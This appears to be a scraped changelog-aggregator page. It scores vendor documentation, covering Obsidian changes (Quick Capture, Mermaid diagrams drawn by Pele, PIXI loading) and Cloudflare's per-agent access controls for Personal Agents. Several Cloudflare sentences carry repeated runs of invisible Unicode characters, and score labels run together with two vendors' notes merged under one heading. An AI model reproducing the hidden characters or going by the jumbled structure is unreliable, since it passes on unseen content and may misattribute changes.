Quick Capture now appears in Spotlight actions and Siri, for example Open Quick Capture in Obsidian. Setting Note Title to Automatic in Quick Capture now uses the first 80 characters of the capture as the note title.
Mermaid diagrams rendered via Pele in Publishimproved45how completely this was documenteddepth20/40specificity15/30actionability10/3045 / 100
Mermaid diagrams and charts in Publish sites are now rendered using Pele, with faster load times, site-matched colors and fonts, and zoom and pan support.
The Show Mermaid diagrams in notes setting has been removed; diagrams are now always rendered.
!
Obsidian no longer bundles the Mermaid library; loadMermaid() and window.mermaid now draw with Pele and the SVG output carries Pele's .pele-* classes instead of Mermaid's. Plugins matching full node names like formatting-code_inline-code will miss closing tokens and must match formatting-code instead.
!
The PIXI global is now loaded on first graph open rather than at start-up; use loadPixi() to load it earlier.
Cloudflare added per-agent access controls for top Personal Agents, letting customers override their general Agents policy on an agent-by-agent basis.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Cloudflare is a connectivity cloud platform delivering internet security, performance, and developer infrastructure services.
Cloudflare added per-agent access controls for top Personal Agents, letting customers override their general Agents policy on an agent-by-agent basis.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
1 FEATURE0 OF 1 FEATUREmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Per-agent access controls for Personal Agentsnew69how completely this was documenteddepth25/40specificity22/30actionability22/3069 / 100
Under Security > Settings > AI Crawler and Agent access policies (replacing the former Configure AI bot policies setting), customers can now set individual access actions for specific top Personal Agents rather than applying one blanket rule.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Personal Agents inherit the existing Agents policy by default, and Cloudflare recommends Allow (do not block) as the default action.
Allow specific Personal Agents to access your site while your broader agent policy is more restrictive.
📍In the Cloudflare dashboard, go to Security › Settings › AI Crawler and Agent access policies, locate the Personal Agents section, and set the action for each listed Personal Agent individually (e.g., Allow for a specific agent while keeping others blocked).